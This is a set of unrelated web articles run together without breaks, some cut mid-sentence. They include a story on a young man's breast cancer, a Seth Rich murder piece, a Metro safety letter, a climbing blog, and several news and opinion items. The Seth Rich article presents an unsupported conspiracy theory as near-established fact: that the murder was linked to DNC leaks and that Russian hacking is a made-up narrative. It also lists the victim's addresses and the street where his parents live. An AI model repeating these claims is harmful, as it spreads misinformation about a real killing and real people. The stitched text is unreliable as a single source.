As a 19-year-old student, he was diagnosed with breast cancer – and was warned the treatment he needed to save his life could rob him of any chance of becoming a dad.
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But now he is a proud father to Freya, five, and Oisean, two, and is on a mission to raise awareness of breast cancer among men.
Sean, who lives with his fiancee Anna and their two children in Fort William, said: “I never knew that men could get breast cancer until I was diagnosed aged just 19.
“I was young, fit and sporty. I had no family history of the disease and I think the doctors were as shocked as I was.
“When I was told the treatment I needed could leave me infertile, I was upset. I knew even then that I wanted to have a family.
“But you need the treatment to get better so you just have to hope things will be okay.
“Thankfully for me, everything worked out well – I’ve got a great life and a wonderful family. I know how lucky I am.”
Sean was diagnosed with breast cancer in August 2000 after spotting a small lump under his nipple.
While he hadn’t been concerned at first, he went to his local doctor after he noticed a discharge and the lump started to grow.
His GP told him it was probably just a small cyst and referred him to hospital to have it removed.
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Everyone was shocked when tests revealed breast cancer and Sean admits he needed time to himself to come to terms with his diagnosis.
Sean, who grew up in Donegal, said: “It’s always a dark time when you are given the news that you have cancer and it’s hard to know at first where your head is at.
“I come from a small community where everyone wanted to be very supportive but I didn’t want to be in the spotlight.
“I think, being a typical man, I wanted to get away so I could get my head around it.”
Outdoor enthusiast Sean headed to a hill he loved that was close to Clonmany, the village where he grew up.
He spent an emotional day at the top but says it helped him face the tough weeks and months ahead.
Sean said: “I remember I sat at the top of this big hill I loved just bawling my eyes out.
“I spent most of the day up there, letting all the emotion out, releasing all the self-pity, but it was very therapeutic and important for me to do.
“I came down a different person, with a different mindset about what lay ahead.”
Sean underwent an operation to remove his breast tissue and the lymph nodes under his arm. He then had months of chemotherapy and radiotherapy.
Once he recovered, he found a new determination to make the most of every second of his life.
Sean said: “Before I was ill, I was quite an easygoing, shy person who would probably have let lots of opportunities pass me by.
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“But getting cancer was a bit of a kick up the butt for me. It made me realise that life should be about grabbing opportunities and doing what you really want to do.
“I had just finished my second year at university when I was diagnosed. So after treatment, I went back to university. Then, that summer, I headed off to the US to play American football, which I probably wouldn’t have done previously.”
On graduating from university, Sean did everything from becoming a basket maker to travelling the world.
He also threw himself into all the sports he loves, including kayaking, climbing, cycling and football.
The 35-year-old lives and works in Fort William, where both he and partner Anna not only have their dream jobs as outdoor adventure instructors but spend every spare minute enjoying the area with their children.
Sean said: “Becoming a father is something I could never take for granted.
“I knew there was a chance the cancer treatment I had might have stopped me from becoming a dad naturally but thankfully we had no issues.
“I feel so blessed to have the life I do, living where we do, having jobs we love and, most of all, being able to raise two such amazing kids here.
“In those dark days when I was first diagnosed, I did wonder about what I was going to miss out on in life but I have been so very lucky.
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“For me, having cancer was only a chapter in my life – but a very important chapter that has helped me write the next part of my book.
“It’s hard to say whether I would have done all the amazing things I have in my life or be where I am now, doing what I love, if I hadn’t been ill.
“For me, a lot of good came out of something bad.”
Sean is now keen to do all he can to raise awareness of breast cancer – particularly in men.
The disease affects only around 340 men in the UK each year – compared with 60,000 women. Most men who get breast cancer are aged over 60.
He said: “When I was first diagnosed with breast cancer, everyone was shocked – firstly that it was a sporty 19-year-old guy who had cancer and secondly that it was breast cancer, which is an illness mainly associated with women.
“I was quite self-conscious about it being breast cancer at first.
“But this is a disease that affects men too and, if I can help raise awareness of that, then I’m really happy to do so.”
In September this year, Sean plans to promote awareness of the disease in men by appearing as a model in the Breast Cancer Care Scotland Fashion Show.
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He will be one of 22 models who have had the diagnosis to take to the catwalk to help raise funds for the charity.
The show, supported by the Sunday Mail, takes place at the Radisson Blu Hotel in Argyle Street, Glasgow, on September 22.
Carolyn Rogers, a clinical nurse specialist at Breast Cancer Care, said: “For a man to be diagnosed with breast cancer at 19 is exceptionally rare.
“Breast cancer in men is very rare generally, but it does happen.
“Men should get to know how their chest looks and feels and, like Sean, go to their GP as soon as they notice any unusual changes.”
For more information or to buy tickets for the Breast Cancer Care Scotland Fashion Show, visit www.breastcancercare.org.uk/theshowscotlandTrouble at the DNC
The Murder of Seth Rich – A Basic Primer for Corporate Media Hostages
This weekend, my neighbor asked me what I knew about the murder of Seth Rich. Instead of answering him, I asked him what he knew about it, which admittedly was not much. He only heard about it from a drive-by media report and couldn’t understand why a shooting during an “attempted robbery” almost a year ago in Washington, DC was being discussed.
It was then I realized that not everyone, even those seemingly knowledgeable about current events, understands the potential significance of this incident. It was then I decided to write this most basic report intended for those who are just learning of the murder of Seth Rich, and explain why it is of such importance.
I also hope to convey why there is such opposition to the investigation and discussion of this tragic event, and why there is such vitriol levied against anyone who is searching for answers to what many want to dismiss as a “botched robbery.” The following is a very basic introduction of the case compiled from limited releases by official sources, my personal interviews with investigative journalists on my radio show, the Hagmann Report and my own investigation. First, here are the most basic facts.
Subject & Incident Profile
Victim: Seth Conrad Rich
Address: 2113 1st St.
Washington, DC 20001
Age: 27 DOB: 1/3/1989
Prior Address: 1222 Euclid, Washington DC 20009
Employer: Democratic National Committee (DNC)
Position: Data Analyst
Parents: Joel & Mary Rich, Farnam St, Omaha, NE (Douglas County)
Date of Crime: 10 July 2016 Time: 0419 hours
Location of crime: Southwest corner of W Street & Flagler Place NW, Washington, DC
Incident Type: GSW (Gunshot Wound(s)) – The victim was reportedly shot twice in the back with a small caliber handgun.
Metropolitan Police Public Incident Report (CCN #16113797; Issued 10 July 2016 at 0710):
“CIC reports the sound of gunshots at 2134 Flagler Pl. NW. Upon arriving to the scene, the decedent was laying in the Southwest corner of the intersection of W St. and Flagler Pl. NW. The decedent was conscious and breathing with apparent gunshot wound(s) to the back. The decedent was transported to local area hospital and was pronounced dead by attending physician at 0557 hours.”
The public incident report listed the following [capitals/punctuation in source document]:
Responding officer: Jody O’Leary (#7859) - MPD. Assisting officer: ROBERT WINGATE ROBINSON (#7634) (Body Worn Camera), Derek Tarr (#9237) (Other Officers At Scene): Shea Ellis (#9499) (Other Officers At Scene), Benjamin Velez (#6631) (Body Worn Camera), Mark Lee (#6141) (Body Worn Camera).
Motive for the shooting The motive for the shooting, according to subsequent statements by or on behalf of the Metropolitan Police Department or the Rich family, was that the shooting was a “botched robbery” attempt. This despite that nothing was reportedly taken from the victim. The victim also reportedly sustained pre-mortem wounds to his face, hands and knees in what was described as defensive wounds.
Also according to reports, the victim was conscious upon the arrival of police, although he allegedly provided a previous address to authorities. It is unclear whether the responding officers, as is customary in a shooting, asked the victim who shot him or a description of the shooters. No BOLO alerts were sent out as a result of the initial contact with police.
The preceding information concludes the public information either provided by or admitted to by public officials. Numerous important factors and relationships have been left out by police and public officials.
Mr. Rich reportedly sustained two gunshot wounds from a small caliber handgun. One wound was alleged to be a “through and through” wound, while the other bullet reportedly struck his liver. He was transported to an unidentified hospital where he allegedly died a few hours later.
His murder might have gone as just another statistic and testament to the violence that plagues our inner cities, except for nagging questions about the activities of Seth Rich prior to his murder, combined with other oddities that involve departure from standard operating procedure by the MPD.
On March 17, 2017, GOP lobbyist Jack Burkman announced the creation of the Profile Project and announced a $105,000 reward for information leading to the conviction of the Rich murder. As reported by investigative journalist Liz Crokin, Burkman is now claiming that the MPD is thwarting his efforts through non-cooperation.
While other people and groups have added to the reward that now totals well over a quarter of a million dollars, conspicuously absent is his own employer – the DNC. In the face of accusations of departure from police department SOP and other oddities, the Rich family spokesman, Brad Bauman, has been vitriolic in his condemnation of anyone asking questions about the murder of Seth Rich.
Family spokesman Brad Bauman happens to be a Public Relations crisis manager with the Pastorum Group in Washington, D.C., a firm with progressive ties. In his role as a communications consultant, Bauman offers “strategic communications advice to Democratic candidates and labor unions,” according to his public profile page on LinkedIn.
The real problems with this case, however, have yet to be be addressed.
Trouble at the DNC
In the matter of the murder of Seth Conrad Rich, the core issue exists in the growing body of evidence that strongly indicates that Mr. Rich, though his position as a data analyst at the DNC during a hotly contested primary election, might have discovered fraudulent and perhaps criminal activity that could affect the outcome of the party nomination (from Bernie Sanders to Hillary Rodham Clinton).
Subsequent reports verified that Seth Rich was an ardent supporter of then-DNC candidate Bernie Sanders. By virtue of his job description, Rich was positioned to have access to data that could prove poll tampering in favor of Clinton. Concurrently, his importance to anyone conspiring to maintain the specific narrative of foreign interference rose exponentially, if not unexpectedly, should his alleged discovery be exposed. Should such alleged tampering be made public, it would obviously have devastating consequences to those “fixing” the polls. Accordingly, Mr. Rich might well have found himself in a very lonely and unenviable position of possessing information which, at the very least, is vital to the integrity of our election process. Specifically, this information would be most problematic for those conspiring to assure the party nomination of Hillary Rodham Clinton in the Democratic primaries.
This situation is further clouded and exacerbated by constant media allegations of “hacks” of our election process by foreign entities, specifically the Russians, which has become and continues to be the official account of the DNC and supporters of Hillary Clinton. While these alleged hacks reportedly both pre-date and postdate the murder of Seth Rich, he has nonetheless become a key subject of interest due to his position with the Democratic National Committee and the outcome of the 2016 Presidential election.
It is important to note that on June 14, 2016, about a month before Seth Rich was murdered, The Washington Post reported that “Russian hackers” obtained DNC communications, and reportedly had access to DNC computers for approximately one year before discovery and lockdown. It is also vital to note that this information did not come from the FBI or any law enforcement agency of the United States government, but from the private cyber security firm CrowdStrike, which was called in to handle the DNC breach despite the FBI offering its services which were curiously rejected.
These odd rejections were verified by former FBI Director James Comey himself during his testimony before the Senate Intelligence Committee on January 10, 2017. Comey testified that the FBI made multiple requests, but was denied direct access to the Democratic National Committee’s email servers and other “hacked devices” as part of its probe of Russian hacking.
It was within this environment of alleged poll fixing and reports of Russian intrusion into the DNC computers that Seth Rich found himself. Having direct access to the DNC computers and perhaps finding irregularities that could impact the outcome of the primaries, it is conceivable that Seth Rich might have been long on critical information but short on trusted friends.
Anyone who has spent any time in Washington knows that trust within the beltway is a rare commodity. Consider then, the predicament of a young man from Nebraska at the moment he realizes that he possesses evidence of fraudulent and criminal activity at the highest levels of the DNC.
Seth Rich & Wikileaks
For the last decade, Wikileaks has existed and received millions of leaked documents that exposed, among many things, the machinations of the powerful and those in power. The methods used to provide information to Wikileaks have consisted of electronic transfer as well as the transfer of information through handoffs of portable storage devices.
Is it possible that Seth Rich reached out to Wikileaks to expose the possible and alleged fraud within the DNC?
According to published reports by at least two sources, the answer is yes. One source is Rod Wheeler, the DC private investigator hired by a representative of the Rich family to investigate his murder. Another is the infamous hacker Kim-Dot-Com. One might also consider Julian Assange of Wikileaks himself, although not directly, but by his offering a $25,000 reward on August 9, 2016, less than one month after Seth Rich was murdered.
Considered in totality, there appears to be sufficient circumstantial evidence to suggest that Seth Rich did, in fact, communicate with Wikileaks at some point prior to his murder. Direct evidence in the form of forensic analysis of his computer devices and cell phones, however is presently non-existent. Why? There appears to be a problem locating his electronic devices, as both the DC police and the FBI deny custody.
The Russian Conspiracy Theory
The primary component that is used to cast doubt on the legitimacy of the election of Donald Trump is foreign interference of our election process, specifically by Russia. To this day, this unproven conspiracy theory is repeated ad nauseum by the corporate media without any authenticated proof from any government law enforcement agency.
The primary source of this narrative is the private cyber security firm CrowdStrike as referenced by the June 14, 2016 report in The Washington Post and picked up by other media outlets. CrowdStrike was hired and paid for by the DNC in June 2016, essentially making the Russian hacking account a paid product of the DNC.
All told, there were at least four-(4) separate hacks into the DNC computers: the Democratic Caucus “hack(s),” the Podesta email “hack(s),” the DNC “hack(s)” and the Clinton Foundation “hack(s).” Included in the above is the strange account of the Awan brothers, three highly-paid Pakistani nationals who were employed as IT specialists shared among House Democrats. Working under Debbie Wasserman-Schultz, the Awan brothers are at the center of controversy in a series of thefts discovered early this year.
Also overlapping this period was the FBI investigation into the handling of classified emails by Hillary Rodham Clinton and staff. On July 5, 2016, FBI Director James Comey held a press conference at the conclusion of his investigation, where he accused Clinton of serious mishandling of classified information contained in emails and computer documents, but stopped short of recommending any referrals to the Department of Justice.
As one can see, there exist numerous problems with computer security, both party data and government equipment and information. The Seth Rich case, however, surrounds the DNC polling data that might have given the party’s nomination to Hillary Clinton rather than Bernie Sanders.
The importance of exposing the information possessed by Seth Rich is two-fold and very significant. Obviously, it would expose the false Russian hacking narrative that has been used to delegitimize the Presidency of Donald Trump, and also expose the “rigging” of the DNC nomination process.
Just the Beginning
There is more – much more – about this. There is much more information that will break this week about this case. For now, however, I am going to print this explanation for my neighbor, who is a hostage of the corporate media.
Perhaps this will help your neighbor when the murder of Seth Rich arises in conversation in the coming days. And I suspect it will.
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Copyright © Douglas J. Hagmann and Canada Free Press
Douglas J. Hagmann and his son, Joe Hagmann host The Hagmann & Hagmann Report, a live Internet radio program broadcast each weeknight from 8:00-10:00 p.m. ET.
Their new website is The Hagmann & Hagmann Report.
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Please adhere to our commenting policy to avoid being banned. As a privately owned website, we reserve the right to remove any comment and ban any user at any time.Comments that contain spam, advertising, vulgarity, threats of violence and death, racism, anti-Semitism, or personal or abusive attacks on other users may be removed and result in a ban.-- Follow these instructions on registeringThe Washington Metropolitan Area Transit Authority (WMATA) tweeted out a letter Sunday evening that will appear in Monday's Express, a free newspaper passed out in Metropolitan areas, in memory of the one year anniversary where heavy smoke filled the rail tunnel claiming the life of a woman, and injuring many more at the L'Enfant Plaza Metro Station last year.
The letter states:
Tomorrow marks one year since the tragedy near L'Enfant Plaza Station claimed the life of a Metro passenger and injured other customers and Metro employees.
Since that terrible day, Metro has taken a number of important steps to ensure the safety of customers and employees. First, coordination has improved with emergency responders, including a new fire department liaison stationed in Metro's rail operations control center. Fire department representatives have proven to be a valuable resource in linking Metro and emergency responders. We have also stepped up the training that Metro provides to emergency responders in every part of the region. Last month, I observed one of the new quarterly drills at Forest Glen Station with Montgomery County Fire and Rescue Service, Montgomery County Police Department, Montgomery County Office of Emergency Management, and Montgomery County Department of Transportation. Going forward, we will encourage even greater coordination with local participants such as hospitals in real-time simulations.
In addition, Metro has inspected and made repairs to the tunnel ventilation systems and provided new training for fan operations at the Rail Operations Control Center to ensure the system is used to its fullest potential, and that smoke can be cleared from stations and tunnels quickly and efficiently.
Finally, Metro is advancing the design of a new radio system to improve public safety communications through 100 miles of rail tunnels. And we are finalizing a new agreement with the region's wireless companies, so that the new tunnel infrastructure will include cabling for cell phone service.
These are just a few of the numerous actions underway at Metro to make the system safer. Some were identified by Metro in the days and weeks following the L'Enfant tragedy, and others were identified as part of rigorous safety inspections, such as those conducted by the national Transportation Safety Board and Federal Transit Administration.
As the new CEO, I started the job with a mission of rededicating Metro to safety, improving service reliability, and getting our financial house in order. In the area of safety, the first executive I am recruiting is a new Chief Safety Officer, responsible for day to-day oversight but, more importantly, reinforcing a stronger safety culture throughout the Metro. I thank you for riding Metro, and I depend on your feedback to help restore trust and pride in our Metro system.
The |
, such as works-overrun penalties and permits, apply no financial penalty on highway authority works, which as a consequence frequently overrun without any effective sanction."
'Implemented quickly'
Councillor Shona Johnstone, vice-chairman of the Local Government Association's economy and transport programme board, said the announcement was a "step in the right direction".
"Councils have long called for the power to introduce lane rental schemes to ease roadwork congestion during rush-hour," she said.
Edmund King, president of motoring organisation AA, said: "For too long road users - whether using foot, cycle, bus, lorry or car - have been bearing the cost of utilities digging up the road via the congestion they cause.
"It is 20 years since the latest roadworks legislation was placed on the statute book, and it is about time these provisions were implemented.
"A large majority of our members (71%) support the need for heavier penalties on utility companies which cause disruption.
"Anything that can stimulate more efficient working to reduce or eliminate this congestion is welcome and we hope the proposals will be positively received and can be implemented quickly."
BBC local government correspondent Mike Sergeant said after the consultation, London could be the first city to adopt a lane-rental system.So, with Cyril out for the Canada Day long weekend we were taking advantage of his temporary 'family-free' status to get him out to the mountains.
After scrambling Cascade (which he admitted would probably be a bit much to do with a kid carrier on his back) we were looking for a good Day 2 option. Turned out Cyril's never been rock climbing and was interested in trying it out.
Like I said, I spent most of my childhood thinking Cyril was the cruelest prank my parents ever played on me, so the thoughts of finally offing him certainly occurred while scrambling up Cascade, but his first climb? This was almost too much to resist.
Seriously though, I love climbing and I love sharing that and the idea of introducing my brother to it was pretty sweet. The issue (and there's always an issue) was that I hate cragging and most of my gear was with Christine's sister at the moment so I had to get creative.
I decided we'd climb Dancing Sasquatch - a new route put up by Brandon Pullan this Spring on Tunnel Mountain in Banff. It's three pitches of mellow climbing that's graded at 5.7, but I'm calling shenanigans on that grade. There's soft and then there's Dancing Sasquatch. If there's a 5.7 move on that route, I can't find it. Hell, I can't find a 5.6 move on it. My personal opinion is that it's a 5.5 tops. The nearby Le Soulier (the shoe)'s easiest pitch is 5.5 and feels broadly similar. Regardless, it's a fun mellow climb and a great first multi-pitch.
To get to the route we parked at Surprise Corner and wandered down the Hoodoos Trail for a few hundred meters until a faint trail breaks off to the left towards the face of Tunnel. If you reach the Black Band area, you've gone to far.
At the base of the climb I surveyed our gear. Our quick draws were mostly slings due for retirement and used whatever ratty old biners I could find including a bunch of lockers. The rope was one of my half ropes for ice climbing because other than the one currently functioning as a rug, I didn't have any single ropes currently at home. Cyril had never belayed before and the idea of having him learn on doubles was a recipe for disaster. In a nod to the reality of the situation, I handed him an assisted braking device so even if I fell and he freaked out, the device would hopefully catch me without his intervention.Image caption This woman was escorted from the scene after the conclusion of the hostage crisis
German police have arrested a man who was holding two people hostage at the old town hall in Ingolstadt in Bavaria.
The two captives have been released unharmed following a raid by armed officers. The 24-year-old hostage taker has been injured and taken to hospital.
The building was cordoned off after the siege began at around 09:00 local time (07:00 GMT).
The situation forced German Chancellor Angela Merkel to cancel a planned campaign visit to the town.
A police commando unit stormed the building at 17:50 local time (15:50 GMT), freeing the hostages and shooting their captor.
His injuries are not believed to be severe.
A third hostage - deputy mayor Sepp Misslbeck - had been released earlier, five hours after the siege began.
The assailant, a homeless man with a history of mental health problems, was reported to have been stalking a woman employed at the town hall for the past year, and as a result was banned from the building.
The woman concerned was believed to be one of the two people held hostage.
'Previous convictions'
The conflict had escalated in the past weeks after the man had been charged with breaking that exclusion order.
Ingolstadt's mayor, Alfred Lehmann, said he found the term "stalking" rather trivialising, as the man had "a whole list of previous convictions, which go far beyond what one would normally term stalking".
The hostage taker was armed with a handgun, though it was unclear whether it was real or imitation.
Der Spiegel reported that the hostage taker's psychiatrist had entered the building shortly before the resolution of the crisis, in order to talk with his patient.
Tablets had also been taken into the 14th Century building for the man, the magazine reported.
Mrs Merkel had planned to hold an election rally with Bavarian Prime Minister Horst Seehofer in the town at 17:00 on Monday.
Mrs Merkel's Christian Democrats (CDU) said her visit, and an event in neighbouring Regensburg, had been cancelled in light of the hostage-taking.
There was no suggestion of a link between the hostage drama and the chancellor's planned rally.
Mrs Merkel is campaigning for a third term in office in elections taking place on 22 September.Martin Shkreli was the most-hated man in America until Donald Trump really got going. So it kinda makes sense that he’s pulling yet another attention-grabbing stunt in support of Cheeto Voldemort. The “pharma bro” who famously purchased Wu-Tang Clan’s one-of-a-kind Once Upon A Time In Shaolin for $2 million is offering to post his entire music collection online for free if Trump wins.
In addition to Shaolin, Shkreli claims to have unreleased music from Nirvana and The Beatles. He made the offer on Trump’s favorite platform, Twitter.
If Trump wins, my entire unreleased music collection, including unheard Nirvana, Beatles, and of course, Wu-Tang, comes out, for free. — Martin Shkreli (@MartinShkreli) October 27, 2016
“If Trump wins, my entire unreleased music collection, including unheard Nirvana, Beatles, and of course, Wu-Tang, comes out, for free,” he wrote. “Flac only, no compression.”
When someone asked him what he would do if Hillary Clinton wins the election, he suggested that he might just destroy the Wu-Tang album.
@MartinShkreli if Hillary wins, just release the Wu. — SSS JOEY MAHN (@ShredFlintstone) October 27, 2016
@ShredFlintstone or break it — Martin Shkreli (@MartinShkreli) October 27, 2016
It’s one of the few times this election that music has been used to support Donald Trump. In the music world, hatred for Trump is so strong that 30 Days, 30 Songs was able to round up a whole grip of superstars to write a month’s worth of anti-Trump protest anthems Both Pussy Riot and Puscifer have released anti-Trump music videos as well. So, it’s a bit odd to see it going the other way. But coming from Ghostface-beef-starter Shkreli, we really should expect nothing less.The SkyDome - or Rogers Centre as it's now officially known - is a central figure on the city's skyline and its most identifiable object when photographed from space (see below). It officially opened back on June 3 1989.
Here's a photographic look back at its construction and opening.
PHOTOS
The Railway Lands pre-SkyDome
Under construction from the CN Tower. Photo by ~EvidencE~
Photo by cliffordstead
SkyDome steel work
Image via the Stadium Page
Ad for SkyDome in 1988
Almost Done. Photo via the Toronto Archives
Done! SkyDome postcard from 1990
Today
Photo by Somewhere in Toronto
Photo via the Image Science & Analysis Laboratory, NASA Johnson Space Center
Photo by Dmao11
VIDEO
Check out this timelapse of the construction of the SkyDome, which also features some awesome sequences of the first tests on the moving roof.Wikipedia Zynga, like most other social games makers, relies on a small percentage of users for a huge chunk of their virtual goods revenue, as it disclosed in its S-1. For Zynga, 1% of users are responsible for 25-50% of revenue, according to sources who spoke to Bloomberg BusinessWeek.
The name for these players is "whales," which is what casinos call big-time gamblers.
It's no revelation that a minority of players drive the majority of revenue for social gaming companies. What could be unsettling is that some players spend thousands of dollars per year on their Zynga games, some even tens of thousands.
That was the angle of an exposé by Ryan Tate at Gawker a while back, that unveiled Zynga's "Platinum Purchase Program" for players who make purchases above $500, and said that basically Zynga turns lonely losers into addicts and milks them for every penny.
The reality is probably more nuanced.
People spend tens of thousands of dollars building dollhouses or refurbishing their cars or, as the "whale" expression indicates, gambling. That's human nature. As long as Zynga isn't defrauding or lying to anyone, we're not sure there's anything morally wrong here. Zynga games can be addictive, but just in the same way that dozens of other things all of us do are addictive.
From a business perspective, all fremium businesses rely on a small number of users for the majority of revenue. For example, 6% of Skype users account for almost all the revenue. That's what freemium means.
It's important for prospective investors to know that a small minority of users account for the majority of Zynga's revenue. But by itself, that's not alarming.
Now See How Zynga Makes Millions Off A Game Like CityVille →The rumors just never stop swirling, and today, they’re back over Yura Movsisyan’s head: Twitter account MLS Transfers is reporting from a source that he’s headed on a free loan to SK Slavia Prague.
That’s a very interesting rumor, and it seems to have come out of the blue. Movsisyan had previously been linked to LA Galaxy, who are rumored to have balked at the salary demands of the Armenian striker.
Source: RSL's Yura Movsisyan is closing in on a loan move to SK Slavia Prague. Meetings ongoing today. Free loan,Slavia pays half the salary — MLS Transfers (@MLSTransfers) July 21, 2017
As always, take any account that makes its trade in anonymously sourced rumors with a grain of salt.
Movsisyan recently suffered what Real Salt Lake has described as a hip injury, keeping him out of full training in the last week. Of course, with that news, plenty of rumors circulated about him being kept out of training while a transfer of some sort was underway — whether that’s true or not is difficult to say.
If it is true, Movsisyan’s high-profile signing could be one of the least successful for Real Salt Lake in recent years — up there with Juan Manuel Martinez, who was released after one-and-a-half seasons with the club so he could return to Argentina.
We’ll follow up on this one."Just got into Louisiana. First stop is BBQ in Baton Rouge. Looking forward to seeing more people in this state over the next couple of days."
"I just had an interesting conversation with a group of Muslim students at the University of Michigan-Dearborn. Dearborn is one of the largest and oldest Muslim communities in America, with about 20% identifying as Muslim."
"Priscilla and I got into Birmingham tonight and got to meet Anthony Ray Hinton. He spent 30 years in prison on death row for a crime he didn't commit, and was exonerated and released only a couple years ago."
"Priscilla and I visited an oil drill ship in the Gulf of Mexico to get a sense of what it's like working in the oil industry."
"Just got into Ohio. Thanks to Dan and Lisa Moore for welcoming me into your home for a wonderful dinner!"
"Today Priscilla and I stopped by some local newspapers as we drove through Alabama. The folks there were working hard over President's Day weekend to keep their communities informed. It seems like a good time to say thank you to all the journalists around the world who work tirelessly and sometimes put their lives in danger to surface the truth."
"I just sat down with people recovering from opioid addiction and people helping them get treatment in Dayton, Ohio."
"My next stop in Texas was meeting with officers from the Dallas Police Department. These officers do such important work, and it meant a lot to me to be able to thank them in person."
“I started my day in North Carolina at Fort Bragg, the largest military base in the world.”
“I stopped by the Elkhart Fire Department to meet the crew and for some of the ribs and chicken they were cooking.”
“I spent the afternoon with the Gant family on their farm in Blanchardville, Wisconsin.”
“I’m in Charleston, South Carolina and I spent the morning at Mother Emanuel—the oldest African Methodist Episcopal church in the South.”
Are these the photo captions of a tech CEO or a presidential candidate? While Mark Zuckerberg swears he isn’t gearing up for a presidential run, it’s getting harder for the public to suspend the little belief it has in this claim. Posts like those above as well as Facebook Live videos with local politicians are taking up more and more of the precious space on the Facebook mogul’s feed—which, with nearly 90 million followers, is a godsend of a campaign platform. Other than content surrounding the company’s recent F8 developer conference and some fun with new photo filters, Zuckerberg’s entire feed has been photo ops with middle class Americans and their cows, tractors and local grub.
The photos come from his personal resolution for 2017, which he announced in January as a mission to visit and meet people in every U.S. state by the end of the year. He framed this largely around his position in technology and his work being “connecting the world and giving everyone a voice.” But now that we’re a few months into Zuckerberg’s travels, it’s become undeniable that this is more of a campaign trail than it is sociable road trip around America.
Read Also: Facebook Adds 3,000 Operations Jobs in Response to Livestreamed Murders and Suicides
The biggest indicator is who he’s meeting. While Zuckerberg set out to visit people in every state, he’s been opting only for people a politician would meet. We haven’t seen any dentists or accountants or movie theater workers or bartenders or kids. Rather, we’ve only seen people all candidates need to applaud (such as veterans, military spouses, religious leaders and teachers), people whose jobs and experiences are hot topics of political policy and debate (such as journalists, police officers, oil workers and people recovering from opioid addictions) and people who exude wholesome American pride (like farmers, fishers, small business owners, rodeo cowboys, Nascar drivers and college basketball players).
And of course there’s the classic meet and greet with the guy serving up the best version of the favorite local food—a political plot device that’s a so typical of presidential travel it persists in nearly every TV shows about presidents like Veep, Scandal and House of Cards. So far, we’ve seen Zuckerberg chow down on the local kolache, southern BBQ and brat with cheese curds. Days ago, he dined with a family in their home in Ohio. In regards to finding a family to visit, the local newspaper The Vindicator reported he asked his staff to find Democrats who voted for Donald Trump.
Read Also: Thai Sculptor Adds Apple, Facebook and Google Logos to King’s Burial Statue
And all this comes after some other obvious politically motivated moves. As we’ve previously reported, Zuckerberg recently: revealed that he is no longer an atheist; appointed Obama administration alum David Plouffe as head of policy and advocacy for his charitable initiative; wrote a 5,700-word mission statement that reads like a State of the Union address; and even rewrote Facebook’s proxy statement so that he could retain control of the company while serving in elected office.
Zuckerberg did fake his last resolution about running a mile everyday, so he could be faking that this isn’t the start to a campaign as well.
Flip through the slides above to see photos of Zuckerberg out on the campaign trail.
UPDATE: I wrote a follow up based on the reactions I got to this article. It’s titled “People Really, Really Don’t Want Mark Zuckerberg to Run for President” and you can read it here.Op-ed: Finding Role Models for My Trans 5-Year-Old
A June issue of People magazine featured the story of a tween girl dressed in pink, with the headline: “Boy to Girl – One Child’s Journey.” Inside, a six-page article tells the story of 12-year-old Nikki (formerly Niko), who, like my child, announced to her parents at a very young age that although she had a penis, she knew without a doubt that she was a girl.
The story is all too familiar to me: A child who is miserable in the gender assigned to her at birth, who is consistently and insistently drawn to the clothes and toys and friends of the opposite gender, and who eventually prevails on her reluctant parents to be allowed to live in the gender that feels “right” to her. It’s my child’s story, too.
I showed the People magazine story to my 5-year-old and explained that Nikki, like her, has a penis and used to have a “boy name” until she told her parents they’d made a mistake. “She sounds nice,” my daughter said. “Where does she live? Can I meet her?”
This is not the first time there has been respectful media coverage of transgender people. A full decade ago, Jennifer Finney Boylan, a transgender English professor, appeared on Oprah to talk about her transition as a woman in her 40s and a parent of two young children. Her memoir, She’s Not There, became a best-seller in 2003. In 2007, Barbara Walters profiled 6-year-old Jazz, a child who had apparently been born male but was living happily as a girl.
Jennifer and Jazz caused stirs, but then the news fizzled out. After all, Oprah Winfrey and Barbara Walters feature all sorts of people we might admire but don’t particularly relate to or consider to be completely human — rock stars and supermodels and former presidents. It was easy enough to view these people as fascinating one-offs. They were rare and exotic and perhaps worthy of our sympathy, but they were certainly not representative of a significant branch of the human family – certainly not anyone we might know.
But in the past year or so, something has changed.
Stories like those of Jennifer and Jazz are popping up in the mainstream media on a fairly regular basis. In January, Walters did another interview with Jazz, now 11 years old, about being a trans tween and starting to date boys. The following month, Katie Couric interviewed several transgender children and teens on her talk show. In March, the New Yorker profiled a female-to-male transgender teen named Skylar who had a double mastectomy at age 16.
Just last week, a transgender first-grader made national headlines when the Colorado Civil Rights Division ruled that she had the right to use the girls’ bathroom at school. Two weeks before that, Anderson Cooper introduced Americans to Kristin Beck, a former Navy SEAL who has just published a book about coming out as a transgender woman.
Something is going on here.
My theory (and my hope) is that we have arrived at a tipping point, with a critical mass of stories coming at us through our TV sets and newspapers and Facebook posts that, taken together, are bound to give birth to new thoughts: Maybe these people really are out there in significant numbers. Maybe that little girl on Barbara Walters wasn’t the only person like that.
I shudder when I think what it would have been like five years ago. Had my child been born just a few years earlier, my local support group for parents of trans kids wouldn’t yet exist. None of these articles about kids like mine would have been written, and none of these TV profiles would have been broadcast. My child and I would have been on our own, groping around in the dark. I would have thought that perhaps my son was gay. And I would have tried to convince my child that she really was a boy and tried to help her come to terms with that identity, because the world didn’t have a way to welcome a girl with a penis. According to the stories and statistics, by the time she was teenager — if not before — she would have been severely depressed and very likely suicidal.
But all that is changing, especially in large, liberal cities like the one I call home. Now there are conferences and even summer camps specifically devoted to kids like mine. Last year, Vice President Joe Biden was quoted as saying that transgender equality is “the civil rights issue of our time.” A few weeks ago I gave some money to a Kickstarter campaign to help fund the brand-new Transgender Studies Quarterly, the world’s first academic journal devoted to transgender issues.
And a smaller yet equally important change is occurring in the types of conversations I’m having with people about my transgender daughter. I used to encounter one of two responses: Either they would try to convince me that it was “just a phase” and that I was likely harming my child by supporting this “gender confusion,” or they were supportive of my approach but were shocked and fascinated by the very idea of a transgender person, let alone a young child. If I only had a three-dollar bill for every time I’ve heard someone say, “I’ve never heard of that.”
Over time, I have developed several stock responses: “Didn’t you know what gender you were as a child?” “Gender is between the ears, not between the legs.” “Hard numbers are difficult to come by, but it’s probably around one in 500.”
I still use these phrases fairly regularly, but thanks to all the recent media coverage, things are shifting slightly. These days I’ll often hear, “I read an article about that somewhere.” Or, “I think I saw a thing about a kid like that on TV.”
These conversations are among the many heady moments I’m experiencing lately. Taken together, they convince me that I’m watching the world change right before my eyes: Discussing hormone blockers with other parents of trans kids at my support group. Hearing my neighbors effortlessly shift their pronouns from male to female at my child’s request. Seeing a child like mine on the cover of a magazine that’s sold at every grocery store check-out stand across the nation. Watching my 5-year-old giddily join the “other girls” to play dress-up at preschool, her biggest worry that someone else might grab the sparkly princess gown before she does.
